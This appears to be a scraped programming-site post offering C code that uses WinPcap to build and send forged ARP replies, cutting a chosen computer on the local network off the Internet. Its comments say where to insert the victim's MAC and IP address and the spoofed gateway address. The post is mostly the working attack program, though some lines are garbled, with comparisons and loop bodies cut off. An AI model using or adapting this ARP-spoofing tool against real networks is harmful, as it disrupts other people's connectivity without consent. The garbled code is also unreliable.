Shulou(Shulou.com)06/01 Report--

Through the other party's mac address and ip address with the program to achieve other computers to block the Internet, the following is to achieve the code:

// WinpCap Test. cpp: Defines the entry point for the console application.

//

#include "stdafx.h"

#include

int _tmain(int argc, _TCHAR* argv[])

{

pcap_if_t * allAdapters;//Adapter list

pcap_if_t * adapter;

pcap_t * adapterHandle;//Adapter handle

u_char packet[ 1020 ]; //Data packet to be sent

char errorBuffer[ PCAP_ERRBUF_SIZE ];//error message buffer

if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )

{//Retrieves all network adapters connected to the machine

fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );

return -1;

}

if( allAdapters == NULL )

{//No adapters exist

printf( "\nNo adapters found! Make sure WinPcap is installed.\ n" );

return 0;

}

int crtAdapter = 0;

for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)

{//Traverse input adapter information (name and description information)

printf( "\n%d.% s ", ++crtAdapter, adapter->name );

printf( "-- %s\n", adapter->description );

}

printf( "\n" );

//Select adapter

int adapterNumber;

printf( "Enter the adapter number between 1 and %d:", crtAdapter );

scanf_s( "%d", &adapterNumber );

if( adapterNumber

crtAdapter )

{

printf( "\nAdapter number out of range.\ n" );

pcap_freealldevs( allAdapters );//release adapter list

return -1;

}

adapter = allAdapters;

for( crtAdapter = 0; crtAdapter

next;

//Open the specified adapter

adapterHandle = pcap_open( adapter->name, // name of the adapter

65536, // portion of the packet to capture

// 65536 guarantees that the whole

// packet will be captured

PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode

1000, // read timeout - 1 millisecond

NULL, // authentication on the remote machine

errorBuffer // error buffer

);

if( adapterHandle == NULL )

{//specified adapter failed to open

fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );

//release adapter list

pcap_freealldevs( allAdapters );

return -1;

}

pcap_freealldevs( allAdapters );//release adapter list

//Create data packets

packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x6c; packet[5] = 0x58; //mac address of the cheated computer

packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x62; packet[11] = 0x0f; //own mac address

packet[12] = 0x08; packet[13] = 0x06; //Ethernet encapsulation arp protocol (not moved)

packet[14] = 0x00; packet[15] = 0x01; // arp Field 1: represents Ethernet

packet[16] = 0x08; packet[17] = 0x00; // arp Field 2: Represents IP protocol

packet[18] = 0x06; // arp Field 3: represents the length of the second layer address

packet[19] = 0x04; // arp Field 4: represents the length of the third layer address

packet[20] = 0x00; packet[21] = 0x02; // arp Field 5: This is an arp response message; the following are arp fields 6, 7, 8, 9

packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x06; //Fake gateway address,

packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; //ip of gateway, here is 172.28.15.254 (do not change it in this lab)

packet[32] = 0xc8; packet[33] = 0x9c; packet[34] = 0xdc; packet[35] = 0x22; packet[36] = 0x6c; packet[37] = 0x58; //mac address of the cheated computer

packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x13; //IP address of the cheated computer, here is 172.28.15.19 (change it to the IP of whoever you want to cheat)

//send data packets

for(int ssde=0;ssde

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